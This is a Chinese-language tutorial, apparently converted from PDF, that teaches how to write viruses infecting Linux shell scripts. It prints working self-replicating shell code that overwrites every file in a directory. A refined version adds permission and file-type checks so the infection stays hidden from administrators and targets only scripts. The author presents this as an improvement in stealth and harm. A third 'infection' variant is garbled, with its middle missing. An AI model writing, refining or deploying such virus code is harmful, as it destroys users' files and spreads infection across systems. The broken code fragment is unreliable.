感染Linux系统脚本程序的病毒技术介绍 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/237/2021_2022__E6_84_9F_E6_9F_93Linu_c103_237559.htm 主要的Shell病毒技术 当然,本文需要你至少了解Linux Shell编程的基础知识和一星点的病毒知识。OK！我们进入正题! 我们来看一个最原始的shell病毒,代码最能说明问题: #shellvirus I for file in * do cp $0 $file done简单吧？遍历当前文件系统的所有文件，然后覆盖所有文件。但是,我们知道linux是多用户的操作系统，它的文件是具有保护模式的，所以以上的脚本有可能会报出一大堆的错误，所以它很快就会被管理员发现并制止它的传染。所以我们可以为该脚本做个判断，这样隐蔽性就大大增强了： #shellvirus II for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then cp $0 $file fi. fi. fi. fi. fi done rm .mmm -fok.我们改进了一下,加了若干的判断，判断文件是否存在，是否文件可执行，是否我们有权限写,再判断它是否是脚本程序如果是就cp $0 $file，所以这段代码是感然该系统所有的脚本程序的，危害性还是比较大的。 if grep -s echo $file>/.mmm 这句也可以这样写: if file $file | grep -s Bourne shell script > /dev/nul . then,也就是判断file是否为shell脚本程序。但是,脚本病毒一旦在感染完毕之后就什么也不做了，它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:)，看看下面代码: #infection head -n 24 $0 > .test .mmm .mm .mmm .SAVEE $file cat .SAVEE >> $file fi. fi. fi. fi. fi done rm .test .SAVEE .mmm .mm -f程序的注解足以说明了,其

实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的，呵呵。不过危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来。